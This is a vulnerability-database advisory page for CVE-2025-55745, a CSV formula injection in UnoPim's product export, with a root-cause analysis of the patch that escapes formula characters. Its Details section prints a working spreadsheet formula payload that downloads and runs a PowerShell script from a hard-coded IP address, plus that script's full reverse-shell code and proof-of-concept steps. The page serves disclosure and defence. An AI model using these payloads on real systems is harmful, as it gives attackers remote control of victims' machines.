N/A

CVSS Score

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2025-55745

CVE-2025-55745: UnoPim has CSV Injection on Quick Export feature

Summary

Description: CSV Injection or Formula Injection is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.

Details

A basic test for CSV Injection is using SUM() to add two numbers or open calc.exe using command: =cmd|' /C calc'!A0

The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. Payload:

This is our payload and will be used in the vulnerable field during exploitation

    =cmd|' /C powershell Invoke-WebRequest
    "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
    powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1

shell.ps1:

    $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

PoC:

Go to any product and click on Edit
Add the above discussed payload in any field that accept text for e.g. Product Number field.
Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.

This could be injected by admin or any user that has privilege to edit products. Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.

Miggo Vulnerability Database

→

CVE-2025-55745

CVE-2025-55745:

N/A

CVSS Score

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
unopim/unopim	composer	<= 0.3.0	0.3.1

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability is a classic CSV injection in the data export functionality of UnoPim. The core of the issue is that user-controllable data was being exported to CSV files without proper sanitization of characters that are treated as commands or formulas by spreadsheet software (e.g., '=', '+', '-', '@').

The investigation of the provided patch commits (specifically 8325b78567411ad78d44c0385f192360e608ff71) clearly shows the remediation strategy. A new helper class, Webkul\DataTransfer\Helpers\Formatters\EscapeFormulaOperators, was introduced. Its primary method, escapeValue, prepends a single quote to any value starting with a dangerous character, forcing spreadsheet applications to interpret it as a literal string rather than a formula.

The vulnerable functions were identified by locating where this new escapeValue method was added in the codebase. These locations pinpoint the exact functions that were previously handling data unsafely during the export process. When an attacker triggers the vulnerability by exporting a product or category with a malicious payload in one of its fields, these functions would be directly in the execution path, processing the malicious data just before it is written to the CSV file. Therefore, they are the key runtime indicators of this vulnerability.

Vulnerable functions

Only Mi**o us*rs **n s** t*is s**tion

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

N/A

-

Basic Information

Basic Information

Concerned about an active attack path?

CVE-2025-55745: UnoPim has CSV Injection on Quick Export feature

Summary

Details

PoC:

CVE-2025-55745:

N/A

-

Basic Information

Basic Information

Is this CVE running in your environment?

Technical Details

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

Vulnerable functions

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

WAF Protection Rules

WAF Rule

Reasoning

Detect and Respond To Threats Faster.

N/A

N/A

Basic Information

Basic Information

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

Vulnerable functions

Technical Details

CVE-2025-55745: UnoPim has CSV Injection on Quick Export feature

Summary

Details

PoC:

Impact

Recommendation:

N/A

-

Basic Information

Basic Information

Concerned about an active attack path?

CVE-2025-55745: UnoPim has CSV Injection on Quick Export feature

Summary

Details

PoC:

CVE-2025-55745:

N/A

-

Basic Information

Basic Information

Is this CVE running in your environment?

Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Vulnerability IntelligenceMiggo AI

Unlock WAF rules for this CVE

WAF Protection Rules

WAF Rule

Reasoning

N/A

N/A

Basic Information

Basic Information

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Technical Details

CVE-2025-55745: UnoPim has CSV Injection on Quick Export feature

Summary

Details

PoC:

Impact

Recommendation:

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI